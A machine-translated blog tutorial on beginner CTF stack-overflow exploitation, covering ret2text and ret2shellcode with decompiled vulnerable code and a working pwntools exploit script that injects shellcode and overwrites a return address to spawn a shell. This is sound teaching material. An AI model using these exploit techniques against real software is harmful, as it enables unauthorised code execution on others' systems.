当前位置:网站首页>PWN Introduction (2) stack overflow Foundation
PWN Introduction (2) stack overflow Foundation
2022-06-30 05:07:00 【Day-3】
1 C Language function call stack

32 Function stack structure under bit .












Operation process .













2 ret2text

out of buffer (Buffer overflow)
The essence is to write extra long data to a fixed length buffer , The excess data overwrites the legal memory area
- Stack overflow (Stack overflow)
Most common 、 Highest vulnerability ratio 、 The most harmful binary vulnerability
stay CTF PWN Is often the basis of vulnerability exploitation - Heap overflow (Heap overflow)
The heap manager is complex , Various patterns are used
CTF PWN Common questions in - Data Segment overflow
The attack effect depends on Data paragraph What control data is stored on the
Tampering with the return address on the stack frame is an existing backdoor function in the program .


First , We have such a document in our hands ret2text.

Throw in IDA in , Get the code , Three functions are useful .
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h] BYREF
gets(buffer);
return 0;
}
int get_shell()
{
system("/bin/sh");
return 0;
}
We turn on gdb, debug .
Input n Skip until you reach the fragile function .
Input s Enter function .
View stack .
Specify what needs to be entered payload.
Use Python The attack , Finally get shell.
You can also write scripts , Logic is the same .
3 ret2shellcode


pwntools Generate shellcode.32 position .
asm(shellcraft.sh())
64 position
context.arch = "amd64"
shellcraft.amd64.sh()
We will ret2shellcode Put in IDA in .
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
Suppose that the server is opened aslr Protect .
Enable gdb Dynamic debugging .

Dynamic debugging results and ida The results are different , We are subject to the dynamic debugging results .
Write a script :
from pwn import *
sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112,b'A') + p32(buf2_addr))
sh.interactive()

Successful attack .
边栏推荐
- Postman 做测试的 6 个常见问题
- 虚析构和纯虚析构
- pycharm 数据库工具
- A collection of errors encountered in machine learning with unity
- Force buckle 59 Spiral matrix II
- Four methods of unity ugui button binding events
- Golan no tests were run: fmt Printf() < BUG>
- Unity ontriggerenter does not call
- Unity profiler performance analysis
- SCM learning notes: interrupt learning
猜你喜欢

Meet in Bangkok for a romantic trip on Valentine's Day

Force buckle 349 Intersection of two arrays

Using the command line to convert JSON to dart file in fluent

Force buckle 59 Spiral matrix II

【 VCS + Verdi joint simulation】 ~ Taking Counter as an Example

Unity + hololens2 performance test

Deeply understand the function calling process of C language
![[vcs+verdi joint simulation] ~ take the counter as an example](/img/fb/214a4e65c53503ecbc38a5e43523cf.png)
[vcs+verdi joint simulation] ~ take the counter as an example

LxC and LXD container summary

Unity automatic pathfinding
随机推荐
HTC vive cosmos development - handle button event
Unity packaging and publishing webgl error reason exception: failed building webgl player
Operation file file class method
Unit screenshot saved on the phone
On mask culling of unity
Force buckle 59 Spiral matrix II
Li Kou 2049: count the number of nodes with the highest score
Yolov5 torch installation
力扣2049:统计最高分的节点数目
A collection of errors encountered in machine learning with unity
Writing unityshader with sublimetext
Unity3d packaging and publishing APK process
Harbor API 2.0 query
Connect() and disconnect() of socket in C #
Unity lens making
Log writing specification
虚析构和纯虚析构
Tcp/ip protocol details Volume I (Reading Guide)
Unity packaging failure solution
【 VCS + Verdi joint simulation】 ~ Taking Counter as an Example